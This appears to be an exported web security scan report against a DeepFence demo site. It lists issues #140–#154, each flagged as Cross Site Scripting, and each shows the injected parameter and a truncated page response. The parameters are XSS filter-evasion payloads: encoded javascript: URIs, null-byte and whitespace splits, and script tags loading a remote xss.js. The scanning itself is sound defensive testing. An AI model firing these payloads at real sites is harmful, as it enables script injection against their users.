AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #140
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC=javascript:alert(String.fromCharCode(
88,83,83))>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #141
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&
#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&
#40;&#39;&#88;&#83;&#83;&#39;&#41;>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #142
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io<IMG SRC=&#0000106&#0000097&#0000118&#0000097&
#0000115&#0000099&#0000114&#0000105&#0000112&
#0000116&#0000058&#0000097&#0000108&#0000101&
#0000114&#0000116&#0000040&#0000039&#0000088&
#0000083&#0000083&#0000039&#0000041>ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #143
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#
x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&
#x27&#x58&#x53&#x53&#x27&#x29>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io not be echoed back in the response
CWE-ID CWE-79
Issue Number #144
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="jav ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #145
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="jav&#x09;ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #146
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="jav&#x0A;ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #147
Scan Cross Site ScriptingSeverity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <IMG SRC="jav&#x0D;ascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #148
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' >
out
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #149
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io perl -e 'print "<SCR\0IPT>alert(\"XSS\")</SCR\0IPT>";' 
> out
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #150
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io <IMG SRC=" &#14; javascript:alert('XSS');">
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #151
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT/XSS SRC="http://soapui.org/xss.js"></
SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #152
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #153
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <SCRIPT/SRC="http://soapui.org/xss.js"></SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You should ensure that HTML tags passed into the parameter will  demouser@deepfence.io 
not be echoed back in the response
CWE-ID CWE-79
Issue Number #154
Scan Cross Site Scripting
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io <<SCRIPT>alert("XSS");//<</SCRIPT>
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
